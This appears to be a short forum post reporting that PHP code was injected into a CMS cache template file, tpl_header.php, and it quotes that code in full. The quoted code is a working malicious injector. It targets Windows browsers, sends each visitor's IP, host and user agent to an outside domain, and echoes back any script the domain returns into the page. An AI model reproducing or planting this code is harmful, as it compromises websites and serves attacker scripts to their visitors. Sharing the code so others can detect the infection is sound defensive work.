odkai

this code was injected into the predator CMS files.

../cache/templates/'any subfolder'/tpl_header.php

injected code:
<?php $wp_flrs = 'http'; $wp_lnk = 'logs'; error_reporting(0); ini_set('display_errors',0); $wp_cidr = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_cidr) && preg_match ('/ NT/i', $wp_cidr))){
$wp_lsfl=$wp_flrs."://".$wp_lnk.$wp_flrs.".com/".$wp_lnk."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_cidr);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_lsfl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_uzp = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_uzp,1,3) === 'scr' ){ echo $wp_uzp; } ?>